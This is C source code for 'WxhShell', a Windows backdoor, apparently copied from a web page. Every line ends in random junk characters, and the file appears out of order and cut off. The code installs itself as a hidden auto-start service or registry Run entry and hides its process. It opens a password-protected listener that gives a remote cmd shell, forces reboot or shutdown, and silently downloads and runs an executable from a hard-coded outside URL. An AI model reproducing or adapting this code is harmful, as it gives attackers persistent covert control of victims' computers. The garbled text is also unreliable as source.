    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qjUQ2d  
    if(Boot(SHUTDOWN)) u4#BD!W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WI}P(!h\J  
    else { F S1<f:  
    closesocket(wsh); j6IWdqXe  
    ExitThread(0); Et`z7Q*e  
    } }@a_x,O/x}  
    break; #.Ft PR  
    } f4`=yj*  
  // 获取shell uN6TV*]:  
  case 's': { Wl::tgU  
    CmdShell(wsh); P) GBuW  
    closesocket(wsh); \t^q@}~0Wz  
    ExitThread(0); ]hv4EL(zi  
    break; `){*JPl  
  } mv<z%y?Oj  
  // 退出 gt'0B-;W  
  case 'x': { i (L;1 `  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); In^$+l%O[  
    CloseIt(wsh); N55;oj_K  
    break; Ngh9+b6[  
    } Q@ /wn  
  // 离开 !cp ,OrO\  
  case 'q': { -b r/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e[w)U{|40  
    closesocket(wsh); "E 8-76n  
    WSACleanup(); DghX(rs_  
    exit(1); rDUNA@r  
    break; H%Q@DW8~@  
        } #N@sJyI N  
  } VJZ   
  } EvQN(_  
(ioi !p  
  // 提示信息 /e#_Yg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u -CY-  
} . (Q;EF`_U  
  } J<u,Y= -~  
e l7P  
  return; m{gt(n  
} &[qL l  
bWUo(B#*I  
// shell模块句柄 c%Kv"Z%f  
int CmdShell(SOCKET sock) m3P%E8<Q#  
{ $&k zix  
STARTUPINFO si; vL\wA_z"<H  
ZeroMemory(&si,sizeof(si)); XSn^$$S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GfL}f9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r$R(4q:  
PROCESS_INFORMATION ProcessInfo; (Dq3e9fX  
char cmdline[]="cmd"; Ok2k; +l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D|`[ [  
  return 0; lj'c0k8  
} " 0K5 /9  
F}2U8O  
// 自身启动模式 5NBc8h7 V  
int StartFromService(void) B.0(}@  
{ yxLGseD  
typedef struct KzI$GU3  
{ )bw^!w)  
  DWORD ExitStatus; q ( H^H  
  DWORD PebBaseAddress; 9'td}S  
  DWORD AffinityMask; &hyr""NkAm  
  DWORD BasePriority; +Rxf~m(pV  
  ULONG UniqueProcessId; x_bS-B)%Y:  
  ULONG InheritedFromUniqueProcessId; D3(|bSca  
}   PROCESS_BASIC_INFORMATION; JU/K\S2%,  
|W`1#sP>  
PROCNTQSIP NtQueryInformationProcess; C&Ow*~  
li%=<?%T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^e<0-uM" s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WLv( K_3Y  
%+Mi~k*A'  
  HANDLE             hProcess; ^nFa'=  
  PROCESS_BASIC_INFORMATION pbi; tjuW+5O  
!$qNugLg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p,$1%/m  
  if(NULL == hInst ) return 0; {cq; SH  
:$dGcX}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qW $IpuK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y'%sA~g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AX<TkS@wjb  
}!lLA4XRr  
  if (!NtQueryInformationProcess) return 0; kO~xE-(=  
n M,m#"AI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W446;)?5  
  if(!hProcess) return 0; @,pO%,E6  
l4|bpR Cp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6=MejT  
P[% W[E<  
  CloseHandle(hProcess); 86vk"  
Rfeiv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LL#7oBJdM  
if(hProcess==NULL) return 0; gO gZ  
X./8 PK?&  
HMODULE hMod; % 7/XZQ  
char procName[255]; -`&4>\o2Lx  
unsigned long cbNeeded; ZQsE07  
xHZx5GJp9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :-ax5,J>q  
z,I7 PY& G  
  CloseHandle(hProcess); "Yq-s$yBi  
,BOB &u  
if(strstr(procName,"services")) return 1; // 以服务启动 CZxQz  
no)Spo'  
  return 0; // 注册表启动 c{V0]A9VF  
} +\\*Iy'xK  
Apa)qRJd  
// 主模块 :&#hjeltt  
int StartWxhshell(LPSTR lpCmdLine) =@G#c5H*  
{ mQ('X~l  
  SOCKET wsl; EYcvD^!1g  
BOOL val=TRUE; yQM7QLbTk  
  int port=0; * j:  
  struct sockaddr_in door; * 8kg6v%  
4~ZQsw `  
  if(wscfg.ws_autoins) Install(); Q^b_+M  
 A5F< <  
port=atoi(lpCmdLine); lWd)(9K j  
=}Bq"m  
if(port<=0) port=wscfg.ws_port; 7.hVbjy'-  
S%kE<M?  
  WSADATA data; N@58R9P<p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `IFt;Ja\6  
v}+axu/?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :BC 0f9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;7K5Bo  
  door.sin_family = AF_INET; QKE$>G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nw Or  
  door.sin_port = htons(port); |hiYV  
+}I[l,,xy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h" P4  
closesocket(wsl); j/ #kO?  
return 1; NA]7qb%%<  
} [qIi_(%o  
wU2y<?$\8  
  if(listen(wsl,2) == INVALID_SOCKET) { ]Qkto4DQ5  
closesocket(wsl); !5? #^q  
return 1; nyw,Fu  
} /Fk LZm  
  Wxhshell(wsl); (|bMtT?"x  
  WSACleanup(); }rn}r4_a  
Kbg`ZO*  
return 0; y@nWa\i G  
|pqLwnOu  
} VahR nD  
.%U~ r2Y(  
// 以NT服务方式启动 - EF(J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $io-<Z#Q  
{ TEh]-x`  
DWORD   status = 0; LCyci1\@  
  DWORD   specificError = 0xfffffff; =c(_$|0  
4CW/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U#Wc!QN-t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uQ vW@Tt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gyjx:EM  
  serviceStatus.dwWin32ExitCode     = 0; 5l=B,%s  
  serviceStatus.dwServiceSpecificExitCode = 0; pyT+ba#  
  serviceStatus.dwCheckPoint       = 0; mkk74NY  
  serviceStatus.dwWaitHint       = 0; c1jHg2xim  
{,]BqFXv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )gmDxD ^C  
  if (hServiceStatusHandle==0) return; fB3O zff  
X']>b   
status = GetLastError(); P qagep d  
  if (status!=NO_ERROR) 69dFd!G\  
{ [{}9"zB$x0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h| !B;D  
    serviceStatus.dwCheckPoint       = 0; oeDsJ6;  
    serviceStatus.dwWaitHint       = 0; r{YyKSL1*K  
    serviceStatus.dwWin32ExitCode     = status; L`R,4mI.W  
    serviceStatus.dwServiceSpecificExitCode = specificError; CbQ@l@d]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b v\V>s  
    return; T 2x~fiM  
  } eG"iJ%I  
q&<#)#+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /q uf'CV}  
  serviceStatus.dwCheckPoint       = 0; W ;P1T"*A  
  serviceStatus.dwWaitHint       = 0; ' uo`-Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u5H#(&Om  
} 6x]|IWvW  
?uU0NKZA  
// 处理NT服务事件,比如:启动、停止 \S=!la_T@m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9(ZzwkD'>  
{ htX'bA  
switch(fdwControl) CBnD)1b\  
{ {;n?c$r  
case SERVICE_CONTROL_STOP: }E*d)n|  
  serviceStatus.dwWin32ExitCode = 0; wju~5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r?{Vqephz  
  serviceStatus.dwCheckPoint   = 0; Kp ~k!6x  
  serviceStatus.dwWaitHint     = 0; D4 {gt\V  
  { :54|Z5h|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / v5Pk.!o  
  } 7KRc^ *pZs  
  return; ~e 6yaX8S  
case SERVICE_CONTROL_PAUSE: O.& 6J/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yZ0;\Tr*J  
  break; @ RTQJ+ms  
case SERVICE_CONTROL_CONTINUE: Pu/0<Orp7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c`doR(oZ  
  break; **! lV]/  
case SERVICE_CONTROL_INTERROGATE: +GP"9S2%R  
  break; X-:Ni_O\ty  
}; M\\TQ(B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }2`S@Rq.WW  
} By3dRiM=,2  
eb9qg.9Z  
// 标准应用程序主函数 Pk8L- [&v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2*K0~ b`  
{ 0qG[hxt%  
^>%=/RX  
// 获取操作系统版本  KS*W<_I  
OsIsNt=GetOsVer(); *n}9_V%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?aOR ^ K  
+ {a  
  // 从命令行安装 45kMIh~~X  
  if(strpbrk(lpCmdLine,"iI")) Install(); R3?~+ y&  
Vq9hAD|k  
  // 下载执行文件 o&(%:|  
if(wscfg.ws_downexe) { ni2H~{]z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k\ I$ve"*  
  WinExec(wscfg.ws_filenam,SW_HIDE); "MoV*U2s,  
} "5{Yn!-:  
LTzf&TZbx5  
if(!OsIsNt) { Z"Et]xSU%$  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sw5H+!  
HideProc(); lz{>c.Ll[  
StartWxhshell(lpCmdLine); }Lb];hww1  
} Wv=L_E_  
else h@{@OAu?  
  if(StartFromService()) a.%]5%O;t  
  // 以服务方式启动 }Q\yem  
  StartServiceCtrlDispatcher(DispatchTable); WCR+ZXI?1  
else elKQge  
  // 普通方式启动 nJ*NI)  
  StartWxhshell(lpCmdLine); /jj!DO#  
_x UhDu%  
return 0; sv0kksj  
} Z NCq /  
zN2sipJS8  
)B}]0`z:P  
1+y&n?  
=========================================== \F1n Ej  
,ypxy/  
ulj`+D?H  
l\$C)q6O  
QRdb~f;<hj  
 n8:2Z>  
" .-RWlUe;,  
]nfS vPb  
#include <stdio.h> N"E\o,_  
#include <string.h> ioa 1n=j  
#include <windows.h> i w m7M  
#include <winsock2.h> A% Bz52yg  
#include <winsvc.h> L"}@>&6  
#include <urlmon.h> lPFMNRt~8  
/f# rN_4  
#pragma comment (lib, "Ws2_32.lib") <7 PtC,74  
#pragma comment (lib, "urlmon.lib") A)`M*(~  
][?GJ"O+U  
#define MAX_USER   100 // 最大客户端连接数 Z<&: W8n  
#define BUF_SOCK   200 // sock buffer TzK?bbgr!  
#define KEY_BUFF   255 // 输入 buffer .-WCB  
8V}c(2m  
#define REBOOT     0   // 重启 |ZZ3Qr+%S  
#define SHUTDOWN   1   // 关机 &Q&$J )0  
)9<)mV*EB(  
#define DEF_PORT   5000 // 监听端口 "UA W  
IloHU6h'  
#define REG_LEN     16   // 注册表键长度 ;nh7Elk  
#define SVC_LEN     80   // NT服务名长度 |#-Oz#Eg'  
UI!EIZ*~  
// 从dll定义API G53!wIW2:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NEGpf[$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4tu2%Og)?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Zr/U!W*?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pc4sReo'  
)L#I#%  
// wxhshell配置信息 97Q!Rot  
struct WSCFG { pbgCcO~xm  
  int ws_port;         // 监听端口 HuK'tU#  
  char ws_passstr[REG_LEN]; // 口令 =%]dk=n?TN  
  int ws_autoins;       // 安装标记, 1=yes 0=no :$}67b)MO  
  char ws_regname[REG_LEN]; // 注册表键名 _FVIN;!  
  char ws_svcname[REG_LEN]; // 服务名 *{-XN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~V./*CQ\c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nZ%<2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $}\. )^[}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l|uN-{ w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  MT&i5!Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \7/xb{z|  
DAvAozM  
}; 4Yn*q~f  
F`3 8sq  
// default Wxhshell configuration }NYsKu_cM  
struct WSCFG wscfg={DEF_PORT, M~"K@g=Wr  
    "xuhuanlingzhe", `q5*VqIhs  
    1, HX=`kkX  
    "Wxhshell", _C*}14 "3  
    "Wxhshell",  z!F?#L5  
            "WxhShell Service", t;4{l`dk  
    "Wrsky Windows CmdShell Service", `[:f;2(@  
    "Please Input Your Password: ", leyX: +  
  1, &j>`H:  
  "http://www.wrsky.com/wxhshell.exe", P"xP%zqo  
  "Wxhshell.exe" O^IpfS\/  
    }; R_H di~ k  
)?_c7 R  
// 消息定义模块 W}Z|v M$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s+(8KYTs`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VTV-$Du[}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H~$a6T"&  
char *msg_ws_ext="\n\rExit."; XGO_n{ x  
char *msg_ws_end="\n\rQuit."; n\P{Mc  
char *msg_ws_boot="\n\rReboot...";  oR5`-  
char *msg_ws_poff="\n\rShutdown..."; U~T/f-CT  
char *msg_ws_down="\n\rSave to "; ,m:MI/ )p  
4{J%`H`Q!  
char *msg_ws_err="\n\rErr!"; _y8)jD"  
char *msg_ws_ok="\n\rOK!"; 7pGlbdS  
0&w.QoZY(  
char ExeFile[MAX_PATH]; :ox+WY  
int nUser = 0; aIm\tPbb  
HANDLE handles[MAX_USER]; $I tehy  
int OsIsNt; my*/MC^O  
k'S/nF A  
SERVICE_STATUS       serviceStatus; &PGU%"rN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,Z52d ggD  
py,z7_Nuh  
// 函数声明 evn ]n  
int Install(void); 5X[=Q>  
int Uninstall(void); WO '33Q(  
int DownloadFile(char *sURL, SOCKET wsh); HZM&QZHx)`  
int Boot(int flag); 2>UyA.m0  
void HideProc(void); ,rG$JCS'KQ  
int GetOsVer(void); (A ?e}M^}  
int Wxhshell(SOCKET wsl); \a}%/_M\  
void TalkWithClient(void *cs); ffSecoX  
int CmdShell(SOCKET sock); Rr:,'cXGi  
int StartFromService(void); Z!ub`coV[  
int StartWxhshell(LPSTR lpCmdLine); 0h#' 3z<  
Gh@QR`xxc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c"fnTJXr79  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M#2DI?S@  
Mb+cXdZb  
// 数据结构和表定义 Blf;_e~=[j  
SERVICE_TABLE_ENTRY DispatchTable[] = ^Dd$8$?[  
{ mF#{"  
{wscfg.ws_svcname, NTServiceMain}, ~xzRx$vU  
{NULL, NULL} 6{1c S  
}; nC2A&n&>  
:}j{NM#  
// 自我安装 J;G+6C$:  
int Install(void) zf6k%  
{ :,:r  
  char svExeFile[MAX_PATH]; ` NcWy  
  HKEY key; #:2 36^xYS  
  strcpy(svExeFile,ExeFile); sH#UM(N  
Dmn6{jy P  
// 如果是win9x系统,修改注册表设为自启动 CB6<Vng}C  
if(!OsIsNt) { L%N|8P[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lB3W|-Ci  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K~C*4H:9  
  RegCloseKey(key); elw<(<u`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R`A @F2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uln[UK  
  RegCloseKey(key); HP&+ 8  
  return 0; *y F 9_\n  
    } M2mte#h  
  } s8eFEi  
} \u2p]K>  
else { aQw?r  
mZ*!$P:vy"  
// 如果是NT以上系统,安装为系统服务 A=E1S{C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  s y#CR4X  
if (schSCManager!=0) }<A\>  
{ fnwtD *``  
  SC_HANDLE schService = CreateService EubF`w$KWX  
  ( .J'}qkz~  
  schSCManager, X >C*(/a  
  wscfg.ws_svcname, fY$M**/,  
  wscfg.ws_svcdisp, jj.iW@m  
  SERVICE_ALL_ACCESS, !{"{(h)+@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9>\s81^  
  SERVICE_AUTO_START, b=`h""u  
  SERVICE_ERROR_NORMAL, xR\$2(  
  svExeFile, 27G6C`}  
  NULL, 0Ocy$  
  NULL, t%V!SvT8+  
  NULL, ;ukwKf s  
  NULL, 9:IVSD&"Rf  
  NULL GnkNoaU  
  ); "\)j=MI8u+  
  if (schService!=0) &8z`]mB{t  
  { n<uF9N<   
  CloseServiceHandle(schService); 4tof[n3us  
  CloseServiceHandle(schSCManager); z45ImItH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q:+,'&<D  
  strcat(svExeFile,wscfg.ws_svcname); uI!rJc>TX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PW~+=,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V8 }yK$4b  
  RegCloseKey(key); nB WVG  
  return 0; p,Qr9p3y  
    } ab: yH ')  
  } 2 D>WIOX  
  CloseServiceHandle(schSCManager); 5iwJdm  
} L "P$LEk  
} SBg BZm}%  
3g`uLA X>u  
return 1; :q<8:,rP  
} aI{Ehbf=  
oMM`7wJw  
// 自我卸载 HSE9-c =  
int Uninstall(void) g VplBF7{  
{ /Z94<}C6b  
  HKEY key; n GZZCsf <  
%l( qyH)*  
if(!OsIsNt) { [?Wt ZM^q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GBFYa6\4sT  
  RegDeleteValue(key,wscfg.ws_regname); mADq_` j  
  RegCloseKey(key); esIE i!d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mw-0n  
  RegDeleteValue(key,wscfg.ws_regname); ` <cB 6  
  RegCloseKey(key); q~48lxDU  
  return 0; q]ER_]%Gna  
  } 2Xys;Dwx  
} D .oX>L#:  
} ^y]CHr  
else { o['HiX  
aqSHo2]DX9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^OnU;8IC  
if (schSCManager!=0) \!Cix}}1  
{ p'M5]G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [#.E=s+&  
  if (schService!=0) m-dyvW+  
  { AK]{^Hvz  
  if(DeleteService(schService)!=0) { 0&mOu #l  
  CloseServiceHandle(schService); ELZCrh6*  
  CloseServiceHandle(schSCManager); 3Un q 9  
  return 0; (sHqzWh  
  } y0k*iS e  
  CloseServiceHandle(schService); )7l+\t  
  } e)]9u$x  
  CloseServiceHandle(schSCManager); k7z;^:  
} K[!OfP  
} SV0E7qX  
71_{FL8  
return 1; !o1{. V9q  
} ACxOC2\n  
q|;_G#4  
// 从指定url下载文件 X`JWYb4  
int DownloadFile(char *sURL, SOCKET wsh) "7mY s)=  
{ RB`Emp&T  
  HRESULT hr; GVP"~I~/:  
char seps[]= "/"; ]r8t^bqe  
char *token; pC2ZN  
char *file; CZe0kH^:{  
char myURL[MAX_PATH]; RY3ANEu+  
char myFILE[MAX_PATH]; /Uth#s:  
Ab ,n^  
strcpy(myURL,sURL); :vZ8n6J[  
  token=strtok(myURL,seps); ? FGzw  
  while(token!=NULL) ~w_4 nE  
  { 4wk-f7I(  
    file=token; GVhO}m  
  token=strtok(NULL,seps); %xF j;U?  
  } /n;Ll](ri  
l?2(c  
GetCurrentDirectory(MAX_PATH,myFILE); F67%xz0  
strcat(myFILE, "\\"); _H@Y%"ZHJ6  
strcat(myFILE, file); 5N<f\W,  
  send(wsh,myFILE,strlen(myFILE),0); 78zjC6}`  
send(wsh,"...",3,0); (hWr!(>C4]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \n$s5i-  
  if(hr==S_OK) QWz5iM  
return 0; a$H*C(wL  
else pESlBQ7{I  
return 1; =oQw?,eY  
+y'V  
} ^PA >t$  
x(pq!+~K  
// 系统电源模块 |U)m'W-(q  
int Boot(int flag) G347&F)  
{ d*Q:[RUf,  
  HANDLE hToken; 41Bp^R}^/  
  TOKEN_PRIVILEGES tkp; s3@sX_2  
t>.1,'zb  
  if(OsIsNt) { [!1z; /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 29]-s Utqv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3 r4QB  
    tkp.PrivilegeCount = 1; k]?M^jrm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )NAC9:8!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =2!AK[KxX  
if(flag==REBOOT) { H EdOo~/~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hp=TWt~  
  return 0; =.NZ {G  
} Au3> =x`  
else { 9DcUx-   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3yg22y &l  
  return 0; O92a*)  
} jm9J-%?  
  } ] AkHNgW  
  else { ]4~- z3=y  
if(flag==REBOOT) { W _j`'WN/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z)}q=NjA  
  return 0; 7oaa)  
} {];4  
else { oz $T.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) juOOD   
  return 0; 0s)B~  
} i\hH .7G1  
} f[v~U<\R  
*AX)QKQ@  
return 1; 6!P];3&o\A  
} ^@f%A<  
0w^\sf%s  
// win9x进程隐藏模块 ZK,}3b{  
void HideProc(void) M7z>ugk"  
{ CY2DxP%  
.Rl58]x~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EGMj5@>  
  if ( hKernel != NULL ) s!S,;H  
  { $T* ##kyE9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0=Jf93D5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2_Me 4  
    FreeLibrary(hKernel); 09?n5x!6  
  } Yas!w'  
K8E:8`_cx  
return; _\yrR.HIa  
} V# Mw  
[P#^nyOh(  
// 获取操作系统版本 Q)N$h07R  
int GetOsVer(void) QYDTb=h~  
{ 8\c= Un  
  OSVERSIONINFO winfo; {MX_t/o=f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XP'Mv_!Z  
  GetVersionEx(&winfo); <jd S0YT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OdX-.FFl  
  return 1; CORX .PQ  
  else 5MY+O\  
  return 0; V+M2Gf  
} "o#N6Qu71  
-f?Rr:#  
// 客户端句柄模块 B@!a@0,,_  
int Wxhshell(SOCKET wsl) )Y':u_Lo  
{ ]P/eg$u'I  
  SOCKET wsh; x h[4d  
  struct sockaddr_in client; i(.c<e{v~  
  DWORD myID; YbZ<=ZzO4  
$4.mRS97g  
  while(nUser<MAX_USER) ]PdpC"  
{ Ycb<'M*jE  
  int nSize=sizeof(client); '>FJk`iI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H8 yc<  
  if(wsh==INVALID_SOCKET) return 1; KLBV(`MS  
-,j J{Y~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .XM3oIaW  
if(handles[nUser]==0) rN#ydw:9  
  closesocket(wsh); _DfI78`(  
else 5vIuH+0  
  nUser++; 1xK'T_[  
  } Zrfp4SlZZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U|odm58s  
m'1NZV%#  
  return 0; #|^7{TN   
} 5r/QPJ<h  
}8Wp X2U  
// 关闭 socket F=   
void CloseIt(SOCKET wsh) Q6?+#}  
{ g#FqjE|mx  
closesocket(wsh); uF5d ]{Qt  
nUser--; 2^Gl;3  
ExitThread(0); +T[3wL~  
} @t`| w.]ml  
nut;ohIh  
// 客户端请求句柄 {(G@YG?  
void TalkWithClient(void *cs) %o< &O(Y  
{ #FF5xe  
IBl}.o&]B#  
  SOCKET wsh=(SOCKET)cs; R7T"fN  
  char pwd[SVC_LEN]; >j?5MIm03  
  char cmd[KEY_BUFF]; E*Vx^k$  
char chr[1]; YlOYgr^  
int i,j; 4@#1G*OO  
k1 >%wR  
  while (nUser < MAX_USER) { {npKdX  
aA%$<ItH  
if(wscfg.ws_passstr) { >rlQY>5pH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Xw 6m$fr:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;}K1c+m!5V  
  //ZeroMemory(pwd,KEY_BUFF); aq"E@fb  
      i=0; rBs7,h  
  while(i<SVC_LEN) { y5?T`ts,#  
Cq1t[a  
  // 设置超时 t&SJ!>7_c  
  fd_set FdRead; uR)itmc?  
  struct timeval TimeOut; n);2b\&  
  FD_ZERO(&FdRead); S|;a=K&hS  
  FD_SET(wsh,&FdRead); _5M!ec  
  TimeOut.tv_sec=8; )?'sw5C  
  TimeOut.tv_usec=0; ,)V*xpp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +`f gn9p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .}ZX~k&P  
*Q=-7a m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F']Vg31c  
  pwd=chr[0]; 6 6x} |7  
  if(chr[0]==0xd || chr[0]==0xa) { 7|zt'.56[  
  pwd=0; `]]gD EPG{  
  break; ]Vjn7P`~ N  
  } #f.@XIt'  
  i++; nL^6{I~  
    } 5:|5NX[.b  
MS^,h>KI  
  // 如果是非法用户,关闭 socket u!g=>zEu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /(n)I  
} : ` F>B  
eHv~?b5l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KGi@H%NN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DWJ%r"aN  
$qQ6u!  
while(1) { /Re1QS  
UkNC|#l)  
  ZeroMemory(cmd,KEY_BUFF); H#U{i  
i40r}?-  
      // 自动支持客户端 telnet标准   &:]_a?|*S  
  j=0; o)}b Fw  
  while(j<KEY_BUFF) { i[3$Wi$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #2yOqUO\  
  cmd[j]=chr[0]; nIph[Vs-Z  
  if(chr[0]==0xa || chr[0]==0xd) { r_)-NOp  
  cmd[j]=0; z('93vsO  
  break; HT?`PG  
  } ^ bM;C_<$f  
  j++; e/;Ui  
    } Kox~k?JK  
yF0,}  
  // 下载文件 Z+t?ah00  
  if(strstr(cmd,"http://")) { c'`7p/l.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); | nry^zb  
  if(DownloadFile(cmd,wsh)) rF~q"9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cy6[p  
  else 6El%T]^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =q xcM+OX1  
  } 5tq$SF42X  
  else { W\~ZmA.  
"r"]NyM  
